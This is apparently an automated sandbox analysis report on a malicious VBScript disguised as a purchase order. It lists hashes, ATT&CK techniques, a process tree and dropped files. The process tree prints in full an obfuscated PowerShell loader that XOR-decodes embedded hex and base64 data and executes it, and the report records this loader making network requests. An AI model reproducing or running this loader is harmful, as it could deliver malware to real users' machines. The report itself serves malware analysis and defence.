4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c

Analysis

max time kernel
150s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/08/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
purchase order#13345.vbs
Size 22KB
Sample260811-e8bcfsgj3t
SHA256 4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c
MD5 211e481031522e538d8cb1766f13999d
SHA1 b4b2e8d8b2a19c3c4736ee01cf64314a01c4834b
SHA512 2c4a232a303b9c528655b91d4d9d655676d01df887a64761d20a226b0289c986cae3b99106830fa6633ffdb77d67f09a15b201c6dc46be095ccbaab20a8363af
SSDEEP 384:KQMSeaMi3m3EGSNtzCAhwrp9aEiFJ5KOlgoTD+vNhOvnNJ0NM/R54wigYZl+7qe9:KP0tKGMeYmvnv/R54wQ6auNHV
TLSH
T10AA251D78C458BF0192A2606BD5FA419AB310365B838694D399FF38DFB367508BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4080	powershell.exe
4	4080	powershell.exe
11	4080	powershell.exe
12	4080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4080	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5312	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4080	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5312 wrote to memory of 4080	5312	WScript.exe	88
PID 4080 wrote to memory of 1440	4080	powershell.exe	90
PID 1440 wrote to memory of 2700	1440	csc.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase order#13345.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-31;$m9rijvAzy='1ag12uqYPB';$fe5KVzaVt='96c19eeff9adafdea984feaebdbbb58cbe909586ffb8eda895d580bd9f9cb598a8e9eeb6b896aa87f2a5b9d6f9b1ba949f9ac6f1f7c8fdbcae81939ce29bbff4ecb0b89c96c8a6eb96d5fdabf5a09f8beeb9a4efe18fa99c8e87f8a4a1cfe1afbeaec0d2cfa7beaaaad2d1d798deaff6eaffc091ab91978bfc9efef7e2bb9ca58ea7e289fcf8aab3aea983aacfae95d5a8858cc38fbdf69da0f9df89b197bd84eda9a7e8ffbc93a5938adca7a7d2df91a8aaa2a6e1828bd9f7868cc6ca8aa9fa85c2c08db796c9aaaa92a0e3e886a2b1808cdc8dfdfacf92bca2a2a6e1919aaaf1bd93989dbcdcf2a5c1dd99a190c8beef92a0e3ad949cb9cf8cdc9dafc3cb9db5b8a29cd9a8fed5f4bd8cb9898dc889a2cbcd99a190c8beef92a0e3ad93b097968cde9df9c1cf91ea97bd84ee91fddde2bce9a58eb1f6b3f8d0dbb4ecbabd84f6808afcff968fc28f8cccb3bed0c0abe2bab2a2f7af85cde1bdb2b1b88bd38988f9aaeeb392addcee9afecde1bcb6a58f8cde99bbf9cf99ab9193ddd6a9ffddf3949c908aa7a8faf4bc95d59a979ec5cfb2bdfeb8f28f8a8a8ddfaeabf2f6b6af9a9586bbe396cffda7afddbf86f8a4a9f2f6b886c9c0bdcf8df5b5dfbaafa08e9af2a5aab3c39cb49d8c8de9bf90a1a299a99c97aafab8a8adac8caf819386fce3e9f9aeebf2dad3e591adb8f5fbabb29c94c8ffe3e9f7b1a4ff84c7a6febce0d4fab5be908ec8d5aeb9b5cfbab9b09681fea5b9a0b098be87d7bafaa5a9f4f5ffff9fdac5d8a4b8f5ecffff9fd4abf4bea3efb1a3fe888e9ae2b0bffeecaaa99ddaccece589f4efb1b79c9b8cdfaab9fab0fb84da878bfabfaef3e3a2a68ef7e2fdbea3f8ecb6b49dda81b3efacb7bcabf7d797c4bfbbf0dbb0f6f288de91a6909df3f9b1af9c97affabfa8c6a2e5979c9b8cdab8befef5bdb78ad2ccfae2f6bfcae2ff8ad4affebf99e2e8baa8dbd394a4b0e9c4b699ae9f96a6faa6a8bbb5';$iebhp6val='AUUSQBNdHyhrKkBmHCMCVGlpcX8LUBpACgwMV1dyAlhXBxNJS2IrVQ1aVg0JR2JgZHAXaRU0EkJIZWY7KltcNBJCSGVmOzdAUxAOQwhFa2QQVVwHAgcNJT4zCwlbAk8BAGIrXhdnRgUTSUclfkwlV0YNEUFQY3dKXg5xFgJBUGlMeRdAUwoERQwoVz4ZDxYKSWlKemp8ARwWC0sEVCV4Gm45OEAMHWQkLTAMQEZDRwsEK3UtSxtBDQBORWtgfgpHWwMJSUUiZnhKTlNLDElednw4VRpYFAAHDSAtMAxARhRdDws9PCVKBgdRSREdOSsmUQQdDQpHCz0rfRRTFU1LCANkcWMUDh1LVRAdIjAjSgUCV0kRFzwqfglTHVVJSlRrIj5NOTgNAQgMKGIqABQWD04NRWJhP0BADz8zRVx4K1IKV10ADk5DUT8tMWB0XElnQXhWYxZdXANPBEMlLDoJVUYHDwcYMFZDJRMST0cHdlg7KUwaGFtOHBhJSzBEHxJDIx4aKyxsaT4SRENHQ2olKkQTcC42EHJYbyVLQ1MWSFVXImpkBU0dS11TQ39jfANSWgIURldoIjdfFBYDAEYEMSUzA1NUSjRVRn9xZQ1aVUxXDAQoYnACGn4BCUdQZCU6RAUATWoqAGAlKkQTAkNHGykGIXodCRUJHlBWY2JlBVkcLAgHBCclMAlRVxdAGykGJTdEFFtET3tnY2thAUZGOV0aYn5qeiZVQQFRFHd4d34KUxpAKkFQb21yF28DOU4JBChobkQTQBEJU1crJVdMEFUDAQwEKGk7RBMVSEcHZXx1WwVBXAcPBwgsIidDFB5EQFgSOCI+aT4SREcAY2lxOjRGXQcCU1dwdngWQBInN3UEIWFyF1dOFwJMQW9xN0lSWxYUVAQ5eXEQFHwFCkUIT1VCREk/bmoqBCwlN0QUEkRHAA==';$x2A5oGcZc=0x71BE-0xE61A;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0xAA)};$jM07j2=$ie3q2xL33;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0x55)};$fAopVYeyu=$ie3q2xL33;$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$fe5KVzaVt.Length;$j+=2){$ie3q2xL33oldR+=[char](([Convert]::ToInt32($fe5KVzaVt.Substring($j,2),16))-bxor$jM07j2[$i++%$jM07j2.Length])};$d79Gp0D=$ie3q2xL33oldR;$ie3q2xL33oldB=[Convert]::FromBase64String([regex]::Replace($iebhp6val, '$ie3q2xL33', ''));$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$ie3q2xL33oldB.Length;$j++){$ie3q2xL33oldR+=[char]($ie3q2xL33oldB[$j]-bxor$fAopVYeyu[$i++%$fAopVYeyu.Length])};$dyfvcmf=$ie3q2xL33oldR;$yqg5qd=$d79Gp0D+$dyfvcmf;.($env:ComSpec[4,26,25]-join'') $yqg5qd
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfcma5xj\kfcma5xj.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D7.tmp" "c:\Users\Admin\AppData\Local\Temp\kfcma5xj\CSC4ADBD7EE997147D789B1F2C441F1757C.TMP"
      4⤵
      PID:2700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES6D7.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6D7.tmp
Size 1KB
SHA256 7ca548a06c5212c02fcc5ef3d44340b82e8a3c309fb79000c4b49c5370b075da
MD5 28746d2410ccd8ac74bc48b1638083f8
SHA1 5a824b055b5c8c51224962cbd6c398273721ea82
SHA512 d66d6b173c13379f9c4b6a2dabaee72dac20c04bdf6a3702597a6e9ba41a9b8179d2e3ea423b1a709fb37f394231564fe9de1d2050fbf708329de61891a537ec
TLSH
T15E218C0553ED871FF0B34732A9F6132FA674FD65DFB6635A854442282C41644EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

kfcma5xj.dll

Path C:\Users\Admin\AppData\Local\Temp\kfcma5xj\kfcma5xj.dll
Size 3KB
SHA256 fd35521227b422c99a07ac460de018dd81d0221de922f03e1911e1fbb442feeb
MD5 4e5ab847b4d013ec38313c563371988e
SHA1 a37f1bc535d80e092311b334da3187141b642245
SHA512 f7d7fba5b67013fe74223315cb7f19b71bd8fdb8ec9878a77a63b24414db9be31824d6b2b99dd4dce4a14616b84b30fdefbdd9d0707e47011ddfb0d0e4f84396
TLSH
T1EE51F11A57E8863BE8B707717EF343172774F9209B62575D5980422CBC253A05E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4ADBD7EE997147D789B1F2C441F1757C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kfcma5xj\CSC4ADBD7EE997147D789B1F2C441F1757C.TMP
Size 652B
SHA256 6f95bee368236176e4cf1a7cf3ef532d1b5d5a1839be59f47dac031817ebd25a
MD5 719751b5ca25ad1f3622adc1cd7015e5
SHA1 f223a54f9b9210e6512bc90adaadd1efea6f1811
SHA512 0a1a166d3d4d9e9e564ec119fef20f16df5bc3c54e5530b7d8542fc962b1ad1231b69f96379c0237175944ac0e256fed7d57faf525c2fe42b4220def700602d6
TLSH
T145F05E0963FC420EF4F38B71FDF6437395A8BC64DE3293ED548043192864A109962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

kfcma5xj.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kfcma5xj\kfcma5xj.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

kfcma5xj.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kfcma5xj\kfcma5xj.cmdline
Size 369B
SHA256 ed7425cf37c43e41b362694e924eb26ac9be51900bd310eb8d3ab6ce1cff7689
MD5 e3ffcb503dc6e971d1e0c4bcf413e345
SHA1 eefab48abc26079b5b288f41b36350f6aebaad69
SHA512 e71964227f6d97eaee4352f762be4a345fde66d6d6f12b6ef0d544b6375a4714edc0dcce1dbd63309d5cd0373e2bdf0e409acab10c138c3b955e3496926002f3
TLSH
T12BE0C07A6246C2BD12DD10172D69C5FCCAB287432D443F885147484DD0170002BE1F59
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4080-8-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-7-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-9-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-10-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-11-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-12-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-13-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-14-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-15-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-16-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-17-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-0-0x00007FFB9D94F000-0x00007FFB9D950000-memory.dmp

Download

memory/4080-6-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-5-0x0000015EB5AC0000-0x0000015EB5AE2000-memory.dmp

Download

memory/4080-2-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-1-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-30-0x0000015E9D5F0000-0x0000015E9D5F8000-memory.dmp

Download

memory/4080-32-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-33-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-34-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download

memory/4080-35-0x0000015E9D480000-0x0000015E9D49A000-memory.dmp

Download

memory/4080-37-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp

Download